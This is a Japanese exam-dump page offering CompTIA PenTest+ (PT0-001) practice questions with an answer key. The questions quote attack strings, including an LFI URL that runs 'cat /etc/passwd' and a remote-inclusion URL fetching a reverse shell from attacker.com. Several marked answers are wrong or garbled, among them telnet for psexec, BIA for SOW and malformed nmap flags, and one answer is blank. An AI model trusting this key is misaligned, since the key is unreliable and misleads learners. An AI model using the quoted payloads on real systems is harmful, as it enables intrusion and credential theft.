最新なCompTIA PT0-001問題集（295題）、真実試験の問題を全部にカバー！

質問 1：
A web server is running PHP, and a penetration tester is using LFI to execute commands by passing parameters through the URL. This is possible because server logs were poisoned to execute the PHP system ( ) function. Which of the following would retrieve the contents of the passwd file?
A. ''&CMD=cat / etc/passwd%&id= 34''
B. ''&system(CMD) ''cat /etc/passed&id=34''
C. ''&CMD=cat ../../../../etc/passwd7id=34'
D. ''&CMD_cat /etc/passwd--&id-34''
正解：D

質問 2：
During the information gathering phase, a penetration tester discovers a spreadsheet that contains a domain administrator's credentials. In addition, port scanning reveals that TCP port 445 was open on multiple hosts. Which of the following methods would BEST leverage this information?
A. nbtstat -a [targetIP] 445
B. telnet [target IP] 445
C. psexec [target IP]
D. ncat [target IP] 445
正解：B

質問 3：
A penetration tester found a network with NAC enabled Which of the following commands can be used to bypass the NAC?
A. sslbump
B. iptafcles
C. macchanger
正解：C
解説: (Pass4Test メンバーにのみ表示されます)

質問 4：
A security consultant finds a folder in "C VProgram Files" that has writable permission from an unprivileged user account Which of the following can be used to gam higher privileges?
A. Retrieving credentials in LSASS
B. Retrieving the SAM database
C. Kerberoasting
D. DLL hijacking
E. VM sandbox escape
正解：A

質問 5：
While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:
https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php Which of the following remediation steps should be taken to prevent this type of attack?
A. Implement a blacklist.
B. Stop external calls from the application.
C. Double URL encode the parameters.
D. Block URL redirections.
正解：D

質問 6：
Which of the following documents BEST describes the manner in which a security assessment will be conducted?
A. SLA
B. SOW
C. MSA
D. BIA
正解：D

質問 7：
Instructions:
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the reset all button.
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.

正解：


質問 8：
A penetration tester has been asked to conduct OS fingering with Nmap using a company-provided text file that contains a list of IP addresses. Which of the following are needed to conduct this scan? (Choose two.).
A. -sS
B. -iL
C. -O
D. oN
E. -V
F. -oX
正解：B,D
解説: (Pass4Test メンバーにのみ表示されます)

質問 9：
A penetration tester is testing a web application and is logged in as a lower-privileged user. The tester runs arbitrary JavaScript within an application, which sends an XMLHttpRequest, resulting in exploiting features to which only an administrator should have access. Which of the following controls would BEST mitigate the vulnerability?
A. Sanitize all the user input.
B. Implement authorization checks.
C. Prevent directory traversal.
D. Add client-side security controls
正解：B